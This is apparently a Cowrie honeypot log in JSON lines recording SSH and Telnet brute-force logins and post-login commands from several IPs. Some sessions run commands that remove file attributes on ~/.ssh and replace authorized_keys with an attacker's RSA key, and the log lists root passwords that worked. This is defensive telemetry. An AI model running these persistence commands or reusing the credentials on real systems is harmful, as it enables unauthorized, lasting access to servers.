{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:41.926288Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa222222","message":"login attempt [root/Aa222222] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:42.827869Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.297369Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.301275Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.305152Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.525971Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.987258Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:43.989707Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:44.209589Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:44.213011Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":35046,"dst_ip":"10.17.0.5","dst_port":22,"session":"d01ed75543b0","protocol":"ssh","message":"New connection: 150.5.169.138:35046 (10.17.0.5:22) [session: d01ed75543b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:44.422520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:44.425719Z","src_ip":"150.5.169.138","session":"d01ed75543b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:44.641422Z","src_ip":"150.5.169.138","session":"d01ed75543b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:45.541090Z","src_ip":"150.5.169.138","session":"d01ed75543b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:46.776655Z","src_ip":"150.5.169.138","session":"d01ed75543b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":35056,"dst_ip":"10.17.0.5","dst_port":22,"session":"e233174860d3","protocol":"ssh","message":"New connection: 150.5.169.138:35056 (10.17.0.5:22) [session: e233174860d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:46.982268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:46.986973Z","src_ip":"150.5.169.138","session":"e233174860d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:47.199630Z","src_ip":"150.5.169.138","session":"e233174860d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:48.081606Z","src_ip":"150.5.169.138","session":"e233174860d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:48.296104Z","src_ip":"150.5.169.138","session":"e233174860d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:48.300422Z","src_ip":"150.5.169.138","session":"ce2a71daff21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.347020387649536,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:52.798038Z","src_ip":"123.188.60.20","session":"46fae0690390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":60530,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7f4306fdb8","protocol":"ssh","message":"New connection: 92.118.39.72:60530 (159.203.135.109:22) [session: ca7f4306fdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:54.192918Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:37:54.304800Z","src_ip":"92.118.39.72","session":"ca7f4306fdb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d74797adcb7","protocol":"ssh","message":"New connection: 2.57.122.210:49196 (159.203.135.109:22) [session: 2d74797adcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:22.546577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:22.549739Z","src_ip":"2.57.122.210","session":"2d74797adcb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:22.648667Z","src_ip":"2.57.122.210","session":"2d74797adcb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345","message":"login attempt [sol/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:22.945762Z","src_ip":"2.57.122.210","session":"2d74797adcb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:24.046572Z","src_ip":"2.57.122.210","session":"2d74797adcb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":57704,"dst_ip":"10.17.0.5","dst_port":22,"session":"27d590901a7b","protocol":"ssh","message":"New connection: 118.219.234.233:57704 (10.17.0.5:22) [session: 27d590901a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:31.992843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:31.997334Z","src_ip":"118.219.234.233","session":"27d590901a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:32.184896Z","src_ip":"118.219.234.233","session":"27d590901a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacao","password":"123456","message":"login attempt [comunicacao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:32.967931Z","src_ip":"118.219.234.233","session":"27d590901a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:34.158633Z","src_ip":"118.219.234.233","session":"27d590901a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":38586,"dst_ip":"159.203.135.109","dst_port":23,"session":"261a9929d110","protocol":"telnet","message":"New connection: 45.226.5.18:38586 (159.203.135.109:23) [session: 261a9929d110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:38:46.864585Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":40618,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5549655ab4a","protocol":"telnet","message":"New connection: 45.226.5.18:40618 (159.203.135.109:23) [session: b5549655ab4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:07.478125Z"}
{"eventid":"cowrie.session.closed","duration":37.19795799255371,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:24.062401Z","src_ip":"45.226.5.18","session":"261a9929d110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":46934,"dst_ip":"10.17.0.5","dst_port":22,"session":"7024e26b4765","protocol":"ssh","message":"New connection: 157.10.160.221:46934 (10.17.0.5:22) [session: 7024e26b4765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:35.210811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:35.213872Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:35.458621Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa222222","message":"login attempt [root/Aa222222] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:36.471082Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:36.997763Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:37.000950Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:37.004500Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:37.251801Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:37.771570Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
